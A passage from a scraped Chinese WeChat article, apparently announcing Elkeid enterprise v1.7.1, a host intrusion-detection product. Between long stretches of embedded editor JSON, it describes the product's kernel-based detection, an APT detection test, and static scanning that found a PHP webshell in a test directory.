34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;doxcnuoeC2gwwicm2Gyx8DyVoAc&#34;,&#34;doxcnismKECwi822Qea1XkQEHHf&#34;,&#34;doxcnEmEE6EYmAw2ewjDhumikHe&#34;,&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;doxcnqScq0gUaMkgoe6aEIrj7Xf&#34;,&#34;doxcnuKikuAUWYq4qwDbPxqXRFd&#34;,&#34;doxcneqUe0eg4OCA0WysAWxrN2c&#34;,&#34;doxcnyQSSCaYGQaISOSgqrTclPe&#34;,&#34;doxcnOce08EW64M68WopStcgi2g&#34;,&#34;doxcnKS66wkuOucYUwrlLG0Pt4B&#34;,&#34;doxcnIA62amaCSYQwism5e5KWwc&#34;,&#34;doxcnUqOiWyyYOCSwSEC41wN0lh&#34;,&#34;doxcnE2gc0IKym4qCgtCCC7bhUc&#34;,&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;doxcn228GgQgEyOKS25ZX1KvPNd&#34;,&#34;doxcnkuU2kiYAGgWI6ZTDJ1ZX6e&#34;,&#34;doxcn6EwQo4SM6MAUS6Ku7HZ9Mb&#34;,&#34;doxcn6yY8QqMMeqaECWHCTAWMbb&#34;,&#34;doxcnGuYQSoeqA6Y8aIpbXph1Dh&#34;,&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;doxcn2Ss4q8KSKkGos1c18fcuab&#34;,&#34;doxcnOGwcuC2kaoAQKSzFiGqkQe&#34;,&#34;doxcngqckmKSKwkkOWwnP495s7f&#34;,&#34;doxcnu2KuuYuoMEAW6MyckAprph&#34;,&#34;doxcnYQuQIieegmmIczmKPCuaXe&#34;,&#34;doxcnwuwOYWiaeYqOQ3wIzwGDxb&#34;,&#34;doxcnaeAGoUuo2qKwYRFadTnhoe&#34;,&#34;doxcngeI8oaCowU6cE3O2W8XSCg&#34;,&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;doxcnk8qoUC6CMWSWamMdxsY63d&#34;,&#34;doxcneOmOSeKoq2QWCusI9MiQeY&#34;,&#34;doxcnskAi662Qcu00UV4EulYXug&#34;,&#34;doxcnk4QkQYAeewsQcDIDD4nI3c&#34;,&#34;doxcnQWWAmA0K2G2AUDbp5lJsFf&#34;,&#34;doxcn4WYEqKOmkCWqKoELHTv2Tc&#34;,&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;doxcn8aegCiWoUGC6Omc5d2gLNh&#34;,&#34;doxcnSQkeOSqqqAqeS4DGhNwUHe&#34;,&#34;doxcnk0cOqgos8kegQdT3EjNKEf&#34;,&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;doxcnS4aCkYqgwEeeSOfMyqsj5f&#34;,&#34;doxcnw6mQkIMuwYuSYLaAYVlBje&#34;,&#34;doxcnguKAkCWeCUgym28mOdjHmd&#34;,&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;doxcno8M04aE2KOQMK45nEJFqlh&#34;,&#34;doxcneMkIOUY8U6uO475Z0q9hIh&#34;,&#34;doxcnkOUugassuKI6OUhPaVIIVd&#34;,&#34;doxcnAOGiQussWs8wst5jWnjTnd&#34;,&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;doxcn8Ok20YEUscI4Ih1ZhVYJRf&#34;,&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;doxcnK6wG6KmUS2gqULJPgWD0Re&#34;,&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;doxcnGayaSaugwAqC6xZrw1Qc9b&#34;,&#34;doxcn00ks8kYcKEWKQFZJxA5HLd&#34;,&#34;doxcnEAAyksuWSKEoQDWBPMUvPb&#34;,&#34;doxcnqmw4OUsKkIAkeSLorCrMGg&#34;,&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;doxcnykqKs862AuicyQTt8wfxpe&#34;,&#34;doxcnk8MYuIOA8u22sltgqnXG8d&#34;,&#34;doxcnOq2oue8Ue00gCqGl6Ff7Yf&#34;,&#34;doxcn6Uma22EyMWSweCWqa7XKeb&#34;,&#34;doxcnWomma8Eou8UWIHEJWpK9Lg&#34;,&#34;doxcniOGeEqiMia6cW88TkyF3Hg&#34;,&#34;doxcnkmqqeucuKY0YupBxfhzTLS&#34;,&#34;doxcngKUkUcAyImQW6lBR4puF1e&#34;,&#34;doxcnkk0OauwEsYc2MRaIOcJoog&#34;,&#34;doxcnGkqoIuIOUaWgumFTZROXjg&#34;,&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;doxcnaW8QKICAYUGwYNNQctvHNf&#34;,&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;doxcn88yEa0YAAyWMUlOzEjmOVg&#34;,&#34;doxcneQ0COIcKuu6sMvVrc7aqHh&#34;,&#34;doxcnGwC2EuwgKcK8iErEQPvRkc&#34;,&#34;doxcn0KyacsygMCCayWokepIVSU&#34;,&#34;doxcn4qq0A2qGGqUA4j8jax1Pqh&#34;,&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;,&#34;doxcnW4qwKCwS8oOSQx9DPMfL3b&#34;,&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;,&#34;doxcn8AiO0Om6AUKAOYZmCQ2gAd&#34;,&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;doxcnGCuiO2wwmQAmusMd9Oeksh&#34;,&#34;doxcnIYcw8OoaA2cEGiy0KH8Kcb&#34;,&#34;doxcnAiIk6OC82ioWGGkNvWQ79f&#34;,&#34;doxcn0Ww04600kcymmcYouLHWXf&#34;,&#34;doxcnuGugGYcC2kIy0O7yOOiC6c&#34;,&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;doxcn4qQCAKOUaeGqolGoYRAuXc&#34;,&#34;doxcnC8au0McQEOkKUJAQTOVksf&#34;,&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;doxcnouW8IuE82OecwNyPimMiYb&#34;,&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;doxcnQAG4WKck8Eq0KOFuvXcWHg&#34;,&#34;doxcnuGCisiSs4KgcIBn4AbinVb&#34;,&#34;doxcnAWk8M2ASeseW4spZIUadzb&#34;,&#34;doxcnuyqYmoOKgCaccMxEEdamtb&#34;,&#34;doxcnQWSeUiocISOKJCiDp4kZH0&#34;,&#34;doxcn2IWgsIcW0Ys2c1e6IyVrBd&#34;,&#34;doxcnAaWwOykqs2OIfGVcLPpXld&#34;,&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;doxcnqS68K8Qg0uqCsvsOm9qDRh&#34;,&#34;doxcnQug6KisGmM6iQ9wKMsF3Yd&#34;,&#34;doxcnyMSgca84QeWsGg3BNTVFxc&#34;,&#34;doxcnuA4K6s8QU820Jqe5Ff6LzI&#34;,&#34;doxcnU64mwMQmgiQgymCUEotNJg&#34;,&#34;doxcnesoa06Ic4iGOu4hN1ipkif&#34;,&#34;doxcnMyE2W88wcwA0WzBM2oMY6B&#34;,&#34;doxcnOuIUAiwAws44k7H9Tl5uhf&#34;,&#34;doxcnQkWiGSUy6S6eg0PEpRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><p><strong>Elkeid </strong><strong>目标是成为</strong><strong>满足各类型的主机安全需求</strong><strong>的产品</strong><strong>，</strong><strong>构建</strong><strong>企业安全防御最重要的基石。Elkeid 从真实的安全前沿对抗中诞生，可作为每个安全工程师得力的依靠，能力的扩展与产品力的进步将不会停止。</strong></p><p><strong><br mpa-from-tpl="t"/></strong></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><br/></section><section style="background: #E7F1EE;border-radius: 4px;" data-mid="" mpa-from-tpl="t"><section style="height: 42px;transform: translate(-4px, -4px);background: rgb(255, 255, 255);border-radius: 4px;border-width: 1px;border-style: dotted;border-color: rgb(16, 86, 58);text-align: center;padding: 0px 24px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #000000;line-height: 42px;" data-mid=""><strong><span style="font-size: 18px;">二. Elkeid的入侵检测能力</span></strong></p></section></section></section></section></section><p><br/></p><p>Elkeid 基于内核态获取数据，天然具有很强的抗干扰和混淆能力。这种数据上的优势提供了无与伦比的入侵检测能力，我们具有更多的数据点位，更多的数据来源，更准确的信息情报。因此在国外知名公司组织的第三方测试中获得了在一线海外竞品中面对 APT 类行为最好检出能力的评价结果。</p><p><span data-lark-record-data="{&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 基于内核态获取数据，天然具有很强的抗干扰和混淆能力。这种数据上的优势提供了无与伦比的入侵检测能力，我们具有更多的数据点位，更多的数据来源，更准确的信息情报。因此在国外知名公司组织的第三方测试中获得了在一线海外竞品中面对 APT 类行为最好检出能力的评价结果。&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+9*1*0+3*0+2w*2+1*3*0+3*2+1*0+f&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;b69d756c-1828-4262-a5b2-126c130c6b28\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_52927798\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;2&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;3&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;18e977ef-d3b6-420f-8702-803b09eb6533\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_43784976,enterprise_35596048,enterprise_36907350\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]},&#34;nextNum&#34;:4}},&#34;type&#34;:&#34;text&#34;,&#34;referenceRecordMap&#34;:{},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}},&#34;isCut&#34;:false}" data-lark-record-format="docx/text"></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.403125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=e3b7320c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVyHNvYtl0BSRu0MgibXVVnkCOvF3icSuibsibjPqwSZcekbUuPYbUtfBUN6jaEYKjHs4cKv2sreXdxsrg%2F640%3Fwx_fmt%3Dpng"/></p><blockquote data-type="quote_container"><p><em>注：测试时间为2021年年初，均使用 Linux 版本，各产品由厂家直接提供和校正。测试方案为自动化工具模拟APT入侵行为，大部分行为具有较高迷惑性。</em></p></blockquote><p>测试期间Elkeid 仅提供了恶意行为检测能力和杀伤链检测能力，当前Elkeid 已经追加了更多入侵检测相关功能，可以提供更高更强的检测水平。</p><p><br/></p><ul start="1" class="list-paddingleft-1"><li><p><strong>静态检测能力</strong></p></li></ul><p>通过静态特征对服务器上的文件/进程二进制进行检测，从而发现如 Webshell/后门/挖矿程序/勒索程序等恶意软件。</p><p><br/></p><p>例一：文件落盘时依据静态检测能力，对落盘文件触发式进行静态检测，发现 <span style="text-decoration: none;color: rgb(0, 122, 170);">/root/webshell_testdir </span>目录下的新增PHP Webshell。</p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;2437f651-effc-4822-8593-afcac3cc3992&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:29,&#34;end&#34;:31,&#34;blockIds&#34;:[32,33,34],&#34;recordIds&#34;:[&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;],&#34;recordMap&#34;:{&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;:{&#34;id&#34;:&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;bold&#34;,&#34;true&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*1*0+6&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;静态检测能力&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false,&#34;seq&#34;:&#34;auto&#34;}},&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;:{&#34;id&#34;:&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+h*1+3*0+12&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;通过静态特征对服务器上的文件/进程二进制进行检测，从而发现如 Webshell/后门/挖矿程序/勒索程序等恶意软件。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;:{&#34;id&#34;:&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:5,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;],&#34;2&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;229163dc-ea16-4f2f-b2ad-852c772a0e9a\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_42442134\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;3&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;4&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;f29626ac-440e-4661-a454-fb89038d1ad6\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_53161374\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+2*1+3*2*1+2*1+o*3+1*1+t*4*1+3*1+a&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;例一：文件落盘时依据静态检测能力，对落盘文件触发静态检测，发现 /root/webshell_testdir 目录下的新增PHP webshell。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;:{&#34;id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;doxcnuoeC2gwwicm2Gyx8DyVoAc&#34;,&#34;doxcnismKECwi822Qea1XkQEHHf&#34;,&#34;doxcnEmEE6EYmAw2ewjDhumikHe&#34;,&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;doxcnqScq0gUaMkgoe6aEIrj7Xf&#34;,&#34;doxcnuKikuAUWYq4qwDbPxqXRFd&#34;,&#34;doxcneqUe0eg4OCA0WysAWxrN2c&#34;,&#34;doxcnyQSSCaYGQaISOSgqrTclPe&#34;,&#34;doxcnOce08EW64M68WopStcgi2g&#34;,&#34;doxcnKS66wkuOucYUwrlLG0Pt4B&#34;,&#34;doxcnIA62amaCSYQwism5e5KWwc&#34;,&#34;doxcnUqOiWyyYOCSwSEC41wN0lh&#34;,&#34;doxcnE2gc0IKym4qCgtCCC7bhUc&#34;,&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;doxcn228GgQgEyOKS25ZX1KvPNd&#34;,&#34;doxcnkuU2kiYAGgWI6ZTDJ1ZX6e&#34;,&#34;doxcn6EwQo4SM6MAUS6Ku7HZ9Mb&#34;,&#34;doxcn6yY8QqMMeqaECWHCTAWMbb&#34;,&#34;doxcnGuYQSoeqA6Y8aIpbXph1Dh&#34;,&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;doxcn2Ss4q8KSKkGos1c18fcuab&#34;,&#34;doxcnOGwcuC2kaoAQKSzFiGqkQe&#34;,&#34;doxcngqckmKSKwkkOWwnP495s7f&#34;,&#34;doxcnu2KuuYuoMEAW6MyckAprph&#34;,&#34;doxcnYQuQIieegmmIczmKPCuaXe&#34;,&#34;doxcnwuwOYWiaeYqOQ3wIzwGDxb&#34;,&#34;doxcnaeAGoUuo2qKwYRFadTnhoe&#34;,&#34;doxcngeI8oaCowU6cE3O2W8XSCg&#34;,&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;doxcnk8qoUC6CMWSWamMdxsY63d&#34;,&#34;doxcneOmOSeKoq2QWCusI9MiQeY&#34;,&#34;doxcnskAi662Qcu00UV4EulYXug&#34;,&#34;doxcnk4QkQYAeewsQcDIDD4nI3c&#34;,&#34;doxcnQWWAmA0K2G2AUDbp5lJsFf&#34;,&#34;doxcn4WYEqKOmkCWqKoELHTv2Tc&#34;,&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;doxcn8aegCiWoUGC6Omc5d2gLNh&#34;,&#34;doxcnSQkeOSqqqAqeS4DGhNwUHe&#34;,&#34;doxcnk0cOqgos8kegQdT3EjNKEf&#34;,&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;doxcnS4aCkYqgwEeeSOfMyqsj5f&#34;,&#34;doxcnw6mQkIMuwYuSYLaAYVlBje&#34;,&#34;doxcnguKAkCWeCUgym28mOdjHmd&#34;,&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;doxcno8M04aE2KOQMK45nEJFqlh&#34;,&#34;doxcneMkIOUY8U6uO475Z0q9hIh&#34;,&#34;doxcnkOUugassuKI6OUhPaVIIVd&#34;,&#34;doxcnAOGiQussWs8wst5jWnjTnd&#34;,&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;doxcn8Ok20YEUscI4Ih1ZhVYJRf&#34;,&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;doxcnK6wG6KmUS2gqULJPgWD0Re&#34;,&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;doxcnGayaSaugwAqC6xZrw1Qc9b&#34;,&#34;doxcn00ks8kYcKEWKQFZJxA5HLd&#34;,&#34;doxcnEAAyksuWSKEoQDWBPMUvPb&#34;,&#34;doxcnqmw4OUsKkIAkeSLorCrMGg&#34;,&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;doxcnykqKs862AuicyQTt8wfxpe&#34;,&#34;doxcnk8MYuIOA8u22sltgqnXG8d&#34;,&#34;doxcnOq2oue8Ue00gCqGl6Ff7Yf&#34;,&#34;doxcn6Uma22EyMWSweCWqa7XKeb&#34;,&#34;doxcnWomma8Eou8UWIHEJWpK9Lg&#34;,&#34;doxcniOGeEqiMia6cW88TkyF3Hg&#34;,&#34;doxcnkmqqeucuKY0YupBxfhzTLS&#34;,&#34;doxcngKUkUcAyImQW6lBR4puF1e&#34;,&#34;doxcnkk0OauwEsYc2MRaIOcJoog&#34;,&#34;doxcnGkqoIuIOUaWgumFTZROXjg&#34;,&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;doxcnaW8QKICAYUGwYNNQctvHNf&#34;,&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;doxcn88yEa0YAAyWMUlOzEjmOVg&#34;,&#34;doxcneQ0COIcKuu6sMvVrc7aqHh&#34;,&#34;doxcnGwC2EuwgKcK8iErEQPvRkc&#34;,&#34;doxcn0KyacsygMCCayWokepIVSU&#34;,&#34;doxcn4qq0A2qGGqUA4j8jax1Pqh&#34;,&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;,&#34;doxcnW4qwKCwS8oOSQx9DPMfL3b&#34;,&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;,&#34;doxcn8AiO0Om6AUKAOYZmCQ2gAd&#34;,&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;doxcnGCuiO2wwmQAmusMd9Oeksh&#34;,&#34;doxcnIYcw8OoaA2cEGiy0KH8Kcb&#34;,&#34;doxcnAiIk6OC82ioWGGkNvWQ79f&#34;,&#34;doxcn0Ww04600kcymmcYouLHWXf&#34;,&#34;doxcnuGugGYcC2kIy0O7yOOiC6c&#34;,&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;doxcn4qQCAKOUaeGqolGoYRAuXc&#34;,&#34;doxcnC8au0McQEOkKUJAQTOVksf&#34;,&#34;doxcnem2Was2GWgoa4rSlDkQXG